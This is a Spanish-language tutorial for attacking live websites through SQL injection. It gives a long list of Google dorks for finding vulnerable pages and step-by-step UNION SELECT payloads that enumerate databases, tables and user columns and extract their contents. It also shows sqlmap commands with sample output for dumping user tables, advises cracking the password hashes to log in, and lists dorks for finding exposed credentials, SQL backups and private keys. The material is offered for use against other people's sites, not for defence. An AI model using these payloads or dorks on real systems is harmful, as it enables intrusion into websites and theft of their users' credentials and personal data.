INYECCION SQL ------------- Es una tecnica que explota una falla de seguridad de una base datos. 1) tenemos q encontrar una pagina que sea vulnerable. este paso es el mas tedioso y largo. los demas pasos son una boludes. para encontrar paginas vulnerables tenemos que usar DORKS (google strings) que nos ayudan a encontrarlas. Listas de paginas vulnerables: http://techkranti.blogspot.com/p/sql-injectable-sites.html Dorks: “inurl:index.php?catid=” “inurl:news.php?catid=” “inurl:index.php?id=” “inurl:news.php?id=” inurl:index.php?id= inurl:trainers.php?id= inurl:buy.php?category= inurl:article.php?ID= inurl:play_old.php?id= inurl:declaration_more.php?decl_id= inurl:pageid= inurl:games.php?id= inurl:page.php?file= inurl:newsDetail.php?id= inurl:gallery.php?id= inurl:article.php?id= inurl:show.php?id= inurl:staff_id= inurl:newsitem.php?num= inurl:readnews.php?id= inurl:top10.php?cat= inurl:historialeer.php?num= inurl:reagir.php?num= inurl:Stray-Questions-View.php?num= inurl:forum_bds.php?num= inurl:game.php?id= inurl:view_product.php?id= inurl:newsone.php?id= inurl:sw_comment.php?id= inurl:news.php?id= inurl:avd_start.php?avd= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:news_view.php?id= inurl:select_biblio.php?id= inurl:humor.php?id= inurl:aboutbook.php?id= inurl:ogl_inet.php?ogl_id= inurl:fiche_spectacle.php?id= inurl:communique_detail.php?id= inurl:sem.php3?id= inurl:kategorie.php4?id= inurl:news.php?id= inurl:index.php?id= inurl:faq2.php?id= inurl:show_an.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:opinions.php?id= inurl:spr.php?id= inurl:pages.php?id= inurl:announce.php?id= inurl:clanek.php4?id= inurl:participant.php?id= inurl:download.php?id= inurl:main.php?id= inurl:review.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:prod_detail.php?id= inurl:viewphoto.php?id= inurl:article.php?id= inurl:person.php?id= inurl:productinfo.php?id= inurl:showimg.php?id= inurl:view.php?id= inurl:website.php?id= inurl:hosting_info.php?id= inurl:gallery.php?id= inurl:rub.php?idr= inurl:view_faq.php?id= inurl:artikelinfo.php?id= inurl:detail.php?ID= inurl:index.php?= inurl:profile_view.php?id= inurl:category.php?id= inurl:publications.php?id= inurl:fellows.php?id= inurl:downloads_info.php?id= inurl:prod_info.php?id= inurl:shop.php?do=part&id= inurl:productinfo.php?id= inurl:collectionitem.php?id= inurl:band_info.php?id= inurl:product.php?id= inurl:releases.php?id= inurl:ray.php?id= inurl:produit.php?id= inurl:pop.php?id= inurl:shopping.php?id= inurl:productdetail.php?id= inurl:post.php?id= inurl:viewshowdetail.php?id= inurl:clubpage.php?id= inurl:memberInfo.php?id= inurl:section.php?id= inurl:theme.php?id= inurl:page.php?id= inurl:shredder-categories.php?id= inurl:tradeCategory.php?id= inurl:product_ranges_view.php?ID= inurl:shop_category.php?id= inurl:transcript.php?id= inurl:channel_id= inurl:item_id= inurl:newsid= inurl:trainers.php?id= inurl:news-full.php?id= inurl:news_display.php?getid= inurl:index2.php?option= inurl:readnews.php?id= inurl:top10.php?cat= inurl:newsone.php?id= inurl:event.php?id= inurl:product-item.php?id= inurl:sql.php?id= inurl:aboutbook.php?id= inurl:preview.php?id= inurl:loadpsb.php?id= inurl:pages.php?id= inurl:material.php?id= inurl:clanek.php4?id= inurl:announce.php?id= inurl:chappies.php?id= inurl:read.php?id= inurl:viewapp.php?id= inurl:viewphoto.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:review.php?id= inurl:iniziativa.php?in= inurl:curriculum.php?id= inurl:labels.php?id= inurl:story.php?id= inurl:look.php?ID= inurl:newsone.php?id= inurl:aboutbook.php?id= inurl:material.php?id= inurl:opinions.php?id= inurl:announce.php?id= inurl:rub.php?idr= inurl:galeri_info.php?l= inurl:tekst.php?idt= inurl:newscat.php?id= inurl:newsticker_info.php?idn= inurl:rubrika.php?idr= inurl:rubp.php?idr= inurl:offer.php?idf= inurl:art.php?idm= inurl:title.php?id= Buscamos cualquiera de esos en google y nos va a tirar una serie de paginas. por ej: hxxp://www.abcd.com/index.php?catid=1 a esa pagina le agregamos un apostrofe ' al final. quedara asi: hxxp://www.abcd.com/index.php?catid=1' si ahora nos tira un error SQL, la pagina es vulnerable. pero si carga bien, hay que buscar otra pagina. Errores que nos pueden aparecer cuando ponemos el apostrofe: Warning: mysql_fetch_array(): Warning: mysql_fetch_assoc(): Warning: mysql_numrows(): Warning: mysql_num_rows(): Warning: mysql_result(): Warning: mysql_preg_match(): 2) ahora tenemos que enumerar el numero de columnas y las columnas que aceptan nuestras peticiones. vamos de a uno por ves agregandole numero ORDER BY : ej. hxxp://www.abcd.com/index.php?catid=1 order by 1 vamos subiendo el numero, hasta recibir un error. y anotamos el ULTIMO NUMERO que no nos tiro el error. ese sera el numero de columnas de la tabla de base de datos. Ahora tenemos q saber cuales son el numero de columnas q nos aceptan la peticion. hacemos lo mismo pero con un - (menos) UNION SELECT ej hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6 Las que acepten nuestras peticiones son las que les vamos a inyectar nuestro SQL. 3) enumerar la version SQL. vamos a usar el comando @@version o el version() para sacar la version de la data base. vamos a usarlo en alguna de las columnas abiertas q encontramos antes. ej. la 2. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6 vamos a recibir la version de la data base en el lugar en donde tendria que estar el numero 2. si la version es 5 para arriba, es OK. Si la version es menor a 5, no nos sirve la pagina y tenemos q empezar denuevo en otra pagina vulnerable. 4) EXPLOTANDO agarramos la lista de databases. hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata– Esto nos va a tirar la lista de databases del site. de aca vamos a escribir los resultados que sacamos de nuestro test. Resultado: information_schema,vrk_mlm Para saber la database que se esta usando: hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6– Resultado: vrk_mlm Para saber el usuario actual: hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6– Resultado: vrk_4mlm@localhost Para tener las tablas: hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()– Resultado: administrator,category,product,users Vamos a concentrarnos el ataque en las tablas de usuario. Para tener las columnas: hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()– Resultado: Result: admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc, prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id, refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position, email_id,password,edited_on,last_login,created_on,chain_number,phone,address Si vemos detenidamente las columnas, y el orden de las tablas, podemos concluir que empezando desde id,incredible_id son las columnas que pertenecen a la tabla de usuarios y en eso es lo q estamos interesados. EXTRAER INFORMACION. union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0 x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users– DORKS ESPECIALES =-=============-= nos va a tirar user y pass de facebook intext:charset_test= email= default_persistent= wordpress filetype:sql inurl:wp-content/backup-* wwwboard inurl:/wwwboard/passwd.txt frontpage ext:pwd inurl:(service | authors | administrators | users) “# -FrontPage-” symfony inurl:config/databases.yml -trac -trunk -”Google Code” -source -repository teamspeak server-dbs “intitle:index of” “inurl:Teamspeak2_RC2/server.log” admin pass “admin account info” filetype:log key privadas filetype:pem pem intext:private intitle:”Index of..etc” passwd Para probar tu propia pagina en google, poner en user el tuyo y inurl:tudominio.com ================================================================================================ SQLmap es una buena herramienta (tool) para hacer injecccion SQL. BUSCANDO DATABASES en el server SQL. ================================ una vez q descubrimos una URL vulnerable a injeccion SQL y es explotable, el proximo paso es encontrar los nombres de las databases que existen en el sistema remoto. la opcion "-dbs" se usa para agarrar la lista database. sqlmap -u “http://www.sitemap.com/section.php?id=51? –dbs Lo que nos tira puede ser algo asi [*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS ‘mysql’ [12:12:57] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: — Place: GET Parameter: id Type: error-based Title: MySQL = 5.0 AND error-based – WHERE or HAVING clause blah blah blah [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: safecosmetics available databases [2]: [*] information_schema [*] safecosmetics Eso demuestra que existen databases en el sistema remoto. ENCONTRAR TABLAS EN LA DATABASE =============================== ahora vamos a encontrar que tables existen especificamente en la database. digamos que la database que nos interesa es SAFECOSMETICS. el comando seria: sqlmap -u “http://www.site.com/section.php?id=51? –tables -D safecosmetics y los que nos va a tirar sera algo como: [11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD blah blah blah [11:55:20] [INFO] retrieved: acl_acl [11:55:21] [INFO] retrieved: acl_acl_sections blah blah blah more tables Increible? ahora vamos a agarrar las columnas de una tabla en particular. ENCONTRAR LAS COLUMNAS DE ALGUNA DE LAS TABLAS ================================================ ahora q tenemos la lista de las tablas con nosotros, estaria bueno tener las columnas de alguna tabla importante. digamos q una tabla es "users" y contiene los user y passwords. sqlmap -u “http://www.site.com/section.php?id=51? –columns -D safecosmetics -T users nos tirara algo asi como [12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD blah blah blah [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: safecosmetics Table: users [8 columns] +——————-+————–+ | Column | Type | +——————-+————–+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +——————–+————–+ ENtonces ahora las columnas son claramente visibles ! ENCONTRAR DATOS DE UNA TABLA =============================== ahora viene la parte interesante, de extraer datos de una tabla. sqlmap -u “http://www.site.com/section.php?id=51? –dump -D safecosmetics -T users ese comando va a tirar la data de esa tabla en particular como el comando mysqldump. lo que nos va a tirar seria algo asi como: +–+—–+——-+——+———-+———–+—————+——————–+ | id | hash | name | email | password | permission | system_home | system_allow_only | +–+—–+——-+——+———-+———–+—————+——————–+ | 1 | 5DIpzzDHFOwnCvPonu | admin | blank | blank | 3 | blank | blank | +–+—–+——-+——+———-+———–+—————+——————–+ La columna hash parece q tiene la password hash, otras veces la tendra a la password directamente. Hay que crackear el hash y ahi vamos a tener los datos para logearnos. sqlmap va a crear un archivo CSV con toda la data dumpeada, para un analisis mas facil.